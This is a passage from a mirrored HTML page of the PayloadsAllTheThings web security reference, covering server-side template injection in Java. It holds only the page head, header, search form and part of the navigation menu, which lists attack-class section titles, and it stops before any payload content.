mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-22 19:28:49 +00:00
6761 lines
174 KiB
HTML
6761 lines
174 KiB
HTML
|
||
<!doctype html>
|
||
<html lang="en" class="no-js">
|
||
<head>
|
||
|
||
<meta charset="utf-8">
|
||
<meta name="viewport" content="width=device-width,initial-scale=1">
|
||
|
||
<meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
|
||
|
||
|
||
|
||
<link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/Java/">
|
||
|
||
|
||
<link rel="prev" href="../ASP/">
|
||
|
||
|
||
<link rel="next" href="../JavaScript/">
|
||
|
||
|
||
<link rel="icon" href="../../assets/images/favicon.png">
|
||
<meta name="generator" content="mkdocs-1.6.1, mkdocs-material-9.5.49">
|
||
|
||
|
||
|
||
<title>Server Side Template Injection - Java - Payloads All The Things</title>
|
||
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../../assets/stylesheets/main.6f8fc17f.min.css">
|
||
|
||
|
||
<link rel="stylesheet" href="../../assets/stylesheets/palette.06af60db.min.css">
|
||
|
||
|
||
|
||
|
||
|
||
<style>
|
||
.social-container {
|
||
float: right;
|
||
}
|
||
</style>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
|
||
<style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../../custom.css">
|
||
|
||
<script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<meta property="og:type" content="website" >
|
||
|
||
<meta property="og:title" content="Server Side Template Injection - Java - Payloads All The Things" >
|
||
|
||
<meta property="og:description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
|
||
|
||
<meta property="og:image" content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/Server Side Template Injection/Java.png" >
|
||
|
||
<meta property="og:image:type" content="image/png" >
|
||
|
||
<meta property="og:image:width" content="1200" >
|
||
|
||
<meta property="og:image:height" content="630" >
|
||
|
||
<meta property="og:url" content="https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/Java/" >
|
||
|
||
<meta name="twitter:card" content="summary_large_image" >
|
||
|
||
<meta name="twitter:title" content="Server Side Template Injection - Java - Payloads All The Things" >
|
||
|
||
<meta name="twitter:description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security" >
|
||
|
||
<meta name="twitter:image" content="https://swisskyrepo.github.io/PayloadsAllTheThings/assets/images/social/Server Side Template Injection/Java.png" >
|
||
|
||
|
||
|
||
</head>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
|
||
|
||
|
||
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
|
||
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
|
||
<label class="md-overlay" for="__drawer"></label>
|
||
<div data-md-component="skip">
|
||
|
||
|
||
<a href="#server-side-template-injection-java" class="md-skip">
|
||
Skip to content
|
||
</a>
|
||
|
||
</div>
|
||
<div data-md-component="announce">
|
||
|
||
</div>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<header class="md-header md-header--shadow" data-md-component="header">
|
||
<nav class="md-header__inner md-grid" aria-label="Header">
|
||
<a href="../.." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
||
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>
|
||
|
||
</a>
|
||
<label class="md-header__button md-icon" for="__drawer">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg>
|
||
</label>
|
||
<div class="md-header__title" data-md-component="header-title">
|
||
<div class="md-header__ellipsis">
|
||
<div class="md-header__topic">
|
||
<span class="md-ellipsis">
|
||
Payloads All The Things
|
||
</span>
|
||
</div>
|
||
<div class="md-header__topic" data-md-component="header-topic">
|
||
<span class="md-ellipsis">
|
||
|
||
Server Side Template Injection - Java
|
||
|
||
</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
<form class="md-header__option" data-md-component="palette">
|
||
|
||
|
||
|
||
|
||
<input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to dark mode" type="radio" name="__palette" id="__palette_0">
|
||
|
||
<label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
|
||
</label>
|
||
|
||
|
||
|
||
|
||
|
||
<input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to light mode" type="radio" name="__palette" id="__palette_1">
|
||
|
||
<label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12z"/></svg>
|
||
</label>
|
||
|
||
|
||
</form>
|
||
|
||
|
||
|
||
<script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
|
||
|
||
|
||
|
||
<label class="md-header__button md-icon" for="__search">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
|
||
</label>
|
||
<div class="md-search" data-md-component="search" role="dialog">
|
||
<label class="md-search__overlay" for="__search"></label>
|
||
<div class="md-search__inner" role="search">
|
||
<form class="md-search__form" name="search">
|
||
<input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
|
||
<label class="md-search__icon md-icon" for="__search">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg>
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg>
|
||
</label>
|
||
<nav class="md-search__options" aria-label="Search">
|
||
|
||
<a href="javascript:void(0)" class="md-search__icon md-icon" title="Share" aria-label="Share" data-clipboard data-clipboard-text="" data-md-component="search-share" tabindex="-1">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9a3 3 0 0 0-3 3 3 3 0 0 0 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.15c-.05.21-.08.43-.08.66 0 1.61 1.31 2.91 2.92 2.91s2.92-1.3 2.92-2.91A2.92 2.92 0 0 0 18 16.08"/></svg>
|
||
</a>
|
||
|
||
<button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg>
|
||
</button>
|
||
</nav>
|
||
|
||
<div class="md-search__suggest" data-md-component="search-suggest"></div>
|
||
|
||
</form>
|
||
<div class="md-search__output">
|
||
<div class="md-search__scrollwrap" tabindex="0" data-md-scrollfix>
|
||
<div class="md-search-result" data-md-component="search-result">
|
||
<div class="md-search-result__meta">
|
||
Initializing search
|
||
</div>
|
||
<ol class="md-search-result__list" role="presentation"></ol>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
<div class="md-header__source">
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
||
<div class="md-source__icon md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
|
||
</div>
|
||
<div class="md-source__repository">
|
||
GitHub
|
||
</div>
|
||
</a>
|
||
</div>
|
||
|
||
</nav>
|
||
|
||
</header>
|
||
|
||
<div class="md-container" data-md-component="container">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<main class="md-main" data-md-component="main">
|
||
<div class="md-main__inner md-grid">
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
|
||
<label class="md-nav__title" for="__drawer">
|
||
<a href="../.." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
||
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54"/></svg>
|
||
|
||
</a>
|
||
Payloads All The Things
|
||
</label>
|
||
|
||
<div class="md-nav__source">
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
||
<div class="md-source__icon md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg>
|
||
</div>
|
||
<div class="md-source__repository">
|
||
GitHub
|
||
</div>
|
||
</a>
|
||
</div>
|
||
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../.." class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Payloads All The Things
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../CONTRIBUTING/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CONTRIBUTING
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../DISCLAIMER/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DISCLAIMER
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key Leaks
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
API Key Leaks
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../API%20Key%20Leaks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key and Token Leaks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
IIS Machine Keys
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Account Takeover
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Account%20Takeover/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Account%20Takeover/mfa-bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MFA Bypasses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Business Logic Errors
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Business%20Logic%20Errors/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CORS Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../CORS%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CRLF Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CRLF Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../CRLF%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Carriage Return Line Feed
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CSV Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../CSV%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE Exploits
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE Exploits
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../CVE%20Exploits/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Common Vulnerabilities and Exposures
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE-2021-44228 Log4Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_11">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Clickjacking
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Clickjacking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
